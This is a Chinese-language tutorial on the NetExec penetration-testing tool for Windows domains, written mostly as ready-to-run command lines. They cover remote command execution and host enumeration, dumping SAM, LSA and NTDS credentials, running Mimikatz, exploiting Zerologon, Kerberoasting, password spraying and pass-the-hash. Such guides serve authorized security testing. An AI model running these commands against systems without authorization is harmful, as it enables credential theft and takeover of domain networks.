域渗透神器 NetExec (nxc) 使用指南

NetExec (nxc) 简介

NetExec(nxc)是一个强大的网络服务利用工具,旨在自动化评估大型网络的安全性。它是 CrackMapExec 的继任者,支持多种协议(SMB、LDAP、WinRM、MSSQL、RDP、FTP 等),并通过模块化设计提供枚举、凭据测试、漏洞扫描和后渗透功能。

安装

在 Kali Linux 或其他支持的系统上安装 NetExec:

sudo apt install netexec

或通过 Python 安装:

sudo apt install pipx git
pipx install git+https://github.com/Pennyw0rth/NetExec

提示:建议使用最新版本以获得新模块和修复。


SMB 协议常用命令

1. 执行命令 (-x, -X)

通过 -x 执行 cmd.exe 命令,-X 执行 PowerShell 命令,需管理员权限。

# 执行 ipconfig(cmd.exe)
nxc smb <IP> -d <DOMAIN> -u Administrator -p 'password' -x 'ipconfig'

# 执行 PowerShell 命令
nxc smb <IP> -d <DOMAIN> -u Administrator -p 'password' -X '$PSVersionTable'
执行方法 (–exec-method)

NetExec 支持以下命令执行方法,默认优先级为 wmiexec

  • wmiexec:通过 WMI 执行,较为隐蔽。
  • smbexec:创建并运行服务,适合无 WMI 环境。
  • atexec:通过计划任务执行。
  • mmcexec:使用 MMC 执行,较新方法。
# 使用 smbexec 方法执行 whoami
nxc smb <IP> -d <DOMAIN> -u Administrator -p 'password' -x 'whoami' --exec-method smbexec

2. 枚举功能

NetExec 提供丰富的枚举功能,用于收集目标信息。

枚举共享 (–shares)

列出 SMB 共享及其权限。

nxc smb <IP> -d <DOMAIN> -u Administrator -p 'password' --shares

输出示例:显示共享名称、权限(读/写)和备注。

枚举有效会话 (–sessions)

列出目标上的活跃会话。

nxc smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sessions
枚举磁盘 (–disks)

列出目标系统的磁盘信息。

nxc smb <IP> -d <DOMAIN> -u Administrator -p 'password' --disks
枚举登录用户 (–loggedon-users)

显示当前登录的用户。

nxc smb <IP> -d <DOMAIN> -u Administrator -p 'password' --loggedon-users
枚举域用户 (–users)

列出域用户。

nxc smb <IP> -d <DOMAIN> -u Administrator -p 'password' --users
枚举域组 (–groups)

列出域组。

nxc smb <IP> -d <DOMAIN> -u Administrator -p 'password' --groups
枚举本地组 (–local-groups)

列出目标主机的本地组。

nxc smb <IP> -d <DOMAIN> -u Administrator -p 'password' --local-groups
爆破 RID 枚举用户 (–rid-brute)

通过 RID(资源标识符)爆破枚举用户。

nxc smb <IP> -d <DOMAIN> -u Administrator -p 'password' --rid-brute

提示:可指定 RID 范围以提高效率,如 --rid-brute 1000-2000

获取域密码策略 (–pass-pol)

获取域密码策略(如长度、复杂性、锁定阈值)。

nxc smb <IP> -d <DOMAIN> -u Administrator -p 'password' --pass-pol

3. 凭据转储

NetExec 可用于提取本地或域凭据,需管理员权限。

转储 SAM 文件 (–sam)

提取本地 SAM 文件中的哈希。

nxc smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sam
转储 LSASS 内存哈希 (–lsa)

从 LSASS 内存中提取凭据哈希。

nxc smb <IP> -d <DOMAIN> -u Administrator -p 'password' --lsa
转储 NTDS.dit (–ntds)

从域控制器提取 NTDS.dit 文件中的凭据。

# 使用 drsuapi 方法(默认)
nxc smb <IP> -d <DOMAIN> -u Administrator -p 'password' --ntds

# 使用 VSS(Volume Shadow Copy Service)
nxc smb <IP> -d <DOMAIN> -u Administrator -p 'password' --ntds vss

4. 常用模块 (-M)

NetExec 的模块通过 -M 调用,提供高级功能。以下是常用模块:

mimikatz

运行 Mimikatz 提取凭据。

nxc smb <IP> -d <DOMAIN> -u Administrator -p 'password' -M mimikatz

选项:可指定命令,如 -o COMMAND='privilege::debug'.

bloodhound

收集 BloodHound 数据,用于 Active Directory 攻击路径分析。

nxc smb <IP> -d <DOMAIN> -u Administrator -p 'password' -M bloodhound
enum_avproducts

枚举目标主机上的防病毒软件。

nxc smb <IP> -d <DOMAIN> -u Administrator -p 'password' -M enum_avproducts
spider_plus

扫描共享中的文件,提取元数据。

nxc smb <IP> -d <DOMAIN> -u Administrator -p 'password' -M spider_plus
zerologon

检测并利用 Zerologon 漏洞(CVE-2020-1472)。

nxc smb <IP> -d <DOMAIN> -u Administrator -p 'password' -M zerologon
petitpotam

检测 PetitPotam 强制认证漏洞。

nxc smb <IP> -d <DOMAIN> -u Administrator -p 'password' -M petitpotam

查看模块列表

nxc smb -L

查看模块选项

nxc smb -M <module_name> --options

其他协议支持

NetExec 支持多种协议,扩展了其应用场景。

1. LDAP 协议

用于 Active Directory 枚举和攻击。

# 枚举域用户
nxc ldap <IP> -d <DOMAIN> -u Administrator -p 'password' --users

# 执行 Kerberoasting 攻击
nxc ldap <IP> -d <DOMAIN> -u Administrator -p 'password' --kerberoasting hash.txt

# 收集 BloodHound 数据
nxc ldap <IP> -d <DOMAIN> -u Administrator -p 'password' --bloodhound --collection All

2. WinRM 协议

用于远程管理协议的枚举和命令执行。

# 检查 WinRM 是否启用
nxc winrm <IP> -u Administrator -p 'password'

# 执行 PowerShell 命令
nxc winrm <IP> -u Administrator -p 'password' -X 'Get-Process'

3. MSSQL 协议

用于 SQL Server 的枚举和利用。

# 枚举 SQL Server 实例
nxc mssql <IP> -u sa -p 'password'

# 执行 SQL 查询
nxc mssql <IP> -u sa -p 'password' -x 'SELECT @@VERSION'

4. RDP 协议

用于远程桌面服务的测试。

# 检查 RDP 访问
nxc rdp <IP> -u Administrator -p 'password'

# 枚举 RDP 会话
nxc rdp <IP> -u Administrator -p 'password' -M get_netrdpsession

5. FTP 协议

用于 FTP 服务的枚举。

# 列出 FTP 目录
nxc ftp <IP> -u anonymous -p '' --ls

NetExec 高级功能

1. 凭据管理 (nxcdb)

NetExec 内置数据库(nxcdb)用于存储凭据和主机信息。

# 启动数据库
nxcdb

# 创建工作区
nxcdb> workspace create test

# 列出存储的主机
nxcdb> hosts

# 列出凭据
nxcdb> creds

2. 空会话测试

测试目标是否允许空会话访问。

nxc smb <IP> -u '' -p ''

3. 密码喷洒

对多个用户尝试单一密码,规避锁定。

nxc smb <IP> -u user_list.txt -p 'Welcome2023' --continue-on-success

4. 传递哈希 (Pass-the-Hash)

使用 NTLM 哈希进行认证。

nxc smb <IP> -u Administrator -H 'aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0'

NetExec 替代工具

虽然 NetExec 功能强大,但在某些场景下可结合其他工具使用:

  1. Impacket:提供类似 SMB 和 MSSQL 功能的 Python 脚本(如 smbclient.pysecretsdump.py)。
    python3 secretsdump.py <DOMAIN>/<USERNAME>:<PASSWORD>@<IP>
    
  2. enum4linux-ng:轻量级 SMB 枚举工具,适合快速扫描。
    enum4linux-ng -A <IP>
    
  3. BloodHound:用于 Active Directory 攻击路径分析,可与 NetExec 的 BloodHound 模块结合。
  4. Responder:捕获网络广播流量以获取凭据,配合 NetExec 使用。
    responder -I eth0
    
  5. Manspider:扫描 SMB 共享中的敏感文件,类似 NetExec 的 spider_plus 模块。

总结

NetExec 凭借其多协议支持、模块化设计和高效执行能力,成为域渗透中的利器。通过熟练掌握其命令、模块和高级功能,你可以在信息收集、凭据提取和漏洞利用中游刃有余。

参考资料

  • NetExec 官方文档:https://www.netexec.wiki/
  • NetExec GitHub:https://github.com/Pennyw0rth/NetExec
  • CrackMapExec 旧文档:https://github.com/byt3bl33d3r/CrackMapExec
  • StationX NetExec 备忘单:https://www.stationx.net/netexec-cheat-sheet/
  • 0xdf SMB 枚举备忘单:https://0xdf.gitlab.io/2024/03/21/smb-cheatsheet.html
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值